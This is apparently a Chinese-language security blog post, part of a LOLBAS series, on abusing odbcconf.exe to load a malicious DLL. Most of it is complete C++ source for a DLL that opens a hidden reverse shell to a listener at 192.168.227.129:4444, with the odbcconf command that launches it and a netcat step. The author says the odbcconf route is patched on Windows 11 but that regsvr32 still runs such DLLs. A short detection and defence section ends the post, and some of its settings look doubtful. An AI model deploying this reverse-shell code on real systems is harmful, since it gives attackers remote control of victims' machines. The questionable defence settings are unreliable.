【LOLBAS鐵人賽Day10】特別企劃之失敗了我還是想放上來（Odbcconf.exe：ODBC 設定工具執行惡意 DLL 攻擊）

1588 字

8 分鐘

- views

【LOLBAS鐵人賽Day10】特別企劃之失敗了我還是想放上來（Odbcconf.exe：ODBC 設定工具執行惡意 DLL 攻擊）

2025-09-24

Research

LOLBAS

/

Windows

/

Security

今天要來展示一個被修補好的洞，
而且是打了一整天才發現全部都被 patch 掉了所以沒成功，
不過過程挺有趣的，還是想記錄一下

Odbcconf.exe 是用來設定 ODBC 驅動程式和資料來源的工具，
但也因為它可以執行 DLL 檔案中的函數，我們可以利用這個特性來執行惡意程式碼

ODBC 是什麼？#

ODBC 介紹#

ODBC 全名是 Open Database Connectivity，從名字我們大概也可以看出來他跟資料庫相關，
那其實我們可以把它當作是一個萬能鑰匙，
今天如果有好幾個資料庫，像是 SQL Server, MYSQL, Oracle, Access，
我們就可以用同樣的方式打開，在開發上帶來更多彈性

ODBC 原理 & 架構#

ODBC 是用一個中間層來達成資料庫的抽象化，主要包含四個核心元件：

Application：任何需要 access 資料庫的程式會去呼叫 ODBC API 的函式來對資料庫操作（e.g. 連線SQL 查詢）
Driver Manager: 中樞，通常是 OS 提供的（像 Windows 就是用 adbc32.dll），當程式呼叫 ODBC 函式的時候，就會去接收，轉發給對應的 Driver
Driver: 針對特定資料庫開發的 DLL，把呼叫的內容翻譯成該資料庫可以理解的 command 或 API，然後資料庫回傳的結果再轉換成程式可以理解的ODBC格式
Data Source: 使用者要 access 的資料庫位置連線需要的相關資訊（伺服器名稱資料庫名稱帳號密碼…）使用者要先用 ODBC Data Source Manager 設定一個 DSN(Data Source Name)，程式才可以透過這個 DSN 去指定要連線的目標

所以整體流程可以想像成是這樣：

1
App <--> ODBC API <--> Driver Manager <--> Driver <--> Data Source

Odbcconf.exe 的常見用途#

我們先直接執行一次 odbconf.exe，
應該就會跳出一個使用說明：

1
# 安裝 ODBC 驅動
2
odbcconf.exe /a {INSTALLDRIVER "SQL Server|Driver=sqlsrv32.dll"}
3

4
# 設定系統 DSN
5
odbcconf.exe /a {CONFIGSYSDSN "SQL Server" "DSN=TestDB|Server=localhost"}
6

7
# 執行 response file
8
odbcconf.exe /f setup.rsp

odbcconf.exe 在安裝或設定 driver 的時候會匯出一個 DllRegisterServer 函式，
所以可以載入跟執行指定的DLL檔案，
如果我們可以寫一個惡意DLL，這就會是我們這次的主要攻擊點

攻擊流程#

今天我們來一起實作看看，
載入惡意 DLL 來執行 Reverse Shell

這次的攻擊基本上是參考這些網站內容：
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
https://github.com/woanware/application-restriction-bypasses
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/

Step 1: 自己寫一個惡意 DLL#

dllmain.cpp:

1
#include <winsock2.h>
2
#include <windows.h>
3
#include <ws2tcpip.h>
4
#pragma comment(lib, "Ws2_32.lib")
5
#define DEFAULT_BUFLEN 1024
6

7
void ReverseShell() {
8
    const char* LHOST = "192.168.227.129";
9
    int LPORT = 4444;
10

11

12
    WSADATA wsaData;
13
    SOCKET ConnectSocket = INVALID_SOCKET;
14
    struct sockaddr_in clientService;
15
    PROCESS_INFORMATION pi;
16
    STARTUPINFOA si;
17

18
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
19
        return;
20
    }
21

22
    ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
23
    if (ConnectSocket == INVALID_SOCKET) {
24
        WSACleanup();
25
        return;
26
    }
27

28
    clientService.sin_family = AF_INET;
29
    clientService.sin_addr.s_addr = inet_addr(LHOST);
30
    clientService.sin_port = htons(LPORT);
31

32
    if (connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)) == SOCKET_ERROR) {
33
        closesocket(ConnectSocket);
34
        WSACleanup();
35
        return;
36
    }
37

38
    ZeroMemory(&si, sizeof(si));
39
    si.cb = sizeof(si);
40
    si.dwFlags = STARTF_USESTDHANDLES;
41
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
42

43
    ZeroMemory(&pi, sizeof(pi));
44
    CreateProcessA(
45
        "C:\\Windows\\System32\\cmd.exe",
46
        NULL,
47
        NULL,
48
        NULL,
49
        TRUE,
50
        CREATE_NO_WINDOW,
51
        NULL,
52
        NULL,
53
        &si,
54
        &pi
55
    );
56

57
    WaitForSingleObject(pi.hProcess, INFINITE);
58

59
    CloseHandle(pi.hProcess);
60
    CloseHandle(pi.hThread);
61
    closesocket(ConnectSocket);
62
    WSACleanup();
63
}
64

65
extern "C" __declspec(dllexport) BOOL WINAPI DllRegisterServer() {
66
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
67
    if (thread) {
68
        CloseHandle(thread);
69
    }
70
    return TRUE;
71
}
72

73
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
74
    switch (ul_reason_for_call) {
75
    case DLL_PROCESS_ATTACH:
76
        break;
77
    case DLL_THREAD_ATTACH:
78
    case DLL_THREAD_DETACH:
79
    case DLL_PROCESS_DETACH:
80
        break;
81
    }
82
    return TRUE;
83
}

這邊記得在 Visual Studio 編譯的時候要調整 Debug 改為 Release，
然後選的是x64，
然後我們拆開來看一下，

`Reverse Shell()`#

1
void ReverseShell() {
2
    const char* LHOST = "192.168.227.129";
3
    int LPORT = 4444;
4

5

6
    WSADATA wsaData;
7
    SOCKET ConnectSocket = INVALID_SOCKET;
8
    struct sockaddr_in clientService;
9
    PROCESS_INFORMATION pi;
10
    STARTUPINFOA si;
11

12
    if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
13
        return;
14
    }
15

16
    ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
17
    if (ConnectSocket == INVALID_SOCKET) {
18
        WSACleanup();
19
        return;
20
    }
21

22
    clientService.sin_family = AF_INET;
23
    clientService.sin_addr.s_addr = inet_addr(LHOST);
24
    clientService.sin_port = htons(LPORT);
25

26
    if (connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)) == SOCKET_ERROR) {
27
        closesocket(ConnectSocket);
28
        WSACleanup();
29
        return;
30
    }
31

32
    ZeroMemory(&si, sizeof(si));
33
    si.cb = sizeof(si);
34
    si.dwFlags = STARTF_USESTDHANDLES;
35
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
36

37
    ZeroMemory(&pi, sizeof(pi));
38
    CreateProcessA(
39
        "C:\\Windows\\System32\\cmd.exe",
40
        NULL,
41
        NULL,
42
        NULL,
43
        TRUE,
44
        CREATE_NO_WINDOW,
45
        NULL,
46
        NULL,
47
        &si,
48
        &pi
49
    );
50

51
    WaitForSingleObject(pi.hProcess, INFINITE);
52

53
    CloseHandle(pi.hProcess);
54
    CloseHandle(pi.hThread);
55
    closesocket(ConnectSocket);
56
    WSACleanup();
57
}

WSAStartup, Socket: 初始化網路環境，建一個 Socket
connect: 會主動去連線到前面設定的 LHOST, LPORT
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;: Reverse Shell 的精隨，告訴等一下要建立的 cmd.exe 說，標準輸入輸出錯誤輸出都不要用預設的，要用前面 ConnectSocket 連線到的，這樣我們就可以 nc 接收到，就可以開始對目標電腦操作了
CreateProcessA: 用來啟動 cmd.exe
CREATE_NO_WINDOW: 讓 cmd.exe 在背景執行，不會跳出視窗，進行隱蔽

DllRegisterServer():#

1
extern "C" __declspec(dllexport) BOOL WINAPI DllRegisterServer() {
2
    HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
3
    if (thread) {
4
        CloseHandle(thread);
5
    }
6
    return TRUE;

extern "C" __declspec(dllexport): 告訴 compiler 要把 DllRegisterServer 匯出，讓外面的程式可以呼叫他
DllRegisterServer 是一個標準函式，也是我們這次主要攻擊的點，但目前這部分已經被 Windows 修掉了，推估是會檢查路徑或簽章，但目前實測 regsvr32.exe 還是可以呼叫到自己寫的 dll，這些呼叫的過程就是在註冊 DLL 的 COM 元件
舊版本：在 odbcconf.exe 嘗試註冊的時候，就會執行然後呼叫 ReverseShell()，達到攻擊目的

DllMain():#

1
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
2
    switch (ul_reason_for_call) {
3
    case DLL_PROCESS_ATTACH:
4
        break;
5
    case DLL_THREAD_ATTACH:
6
    case DLL_THREAD_DETACH:
7
    case DLL_PROCESS_DETACH:
8
        break;
9
    }
10
    return TRUE;
11
}

DllMain 是所有 Windows Dll 的標準進入點，只要有程式載入就會呼叫到他
因為這邊我們主要是希望程式執行到 DllRegisterServer，所以 DllMain 這邊就沒放什麼東西了，只是個簡單的模板

Step 2: 傳送 DLL 並執行#

在 cmd 上執行：

1
C:\Windows\System32\odbcconf.exe /S /A {CONFIGDRIVER "SQL Server" "Driver=C:\Test\evil-dll.dll"}

驅動程式（接在 CONFIGDRIVER 後面的那串）也可以用其他的代替，
原本有使用過 Microsoft Access Driver，
但也發現測試的電腦上沒有這個 Driver，
所以最後是使用大部分電腦上可能會有的 SQL Server 來當作跳板

Step 3: 獲得 Shell#

打開負責監聽的主機，應該就會發現 nc 到了 shell 可以用，
但測試期間發現 Windows 11 已經修掉這個了，
不過也發現 regsv32.exe 還是可以跑自訂 dll 的

偵測&防禦建議#

關鍵偵測指標#

odbcconf.exe + /a {REGSVR = 極度可疑
odbcconf.exe 執行非 ODBC 相關的 DLL
Response file 在 TempDownloads 等可疑位置
odbcconf.exe 產生非預期的子程序

防禦設定#

1
# AppLocker 規則 - 阻擋 odbcconf 執行非系統 DLL
2
$rule = New-AppLockerPolicy -RuleType Dll -User Everyone -Action Deny -Path "C:\*"
3

4
# 限制 odbcconf.exe 執行
5
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" `
6
    -Name "DisableODBCConf" -Value 1 -PropertyType DWord -Force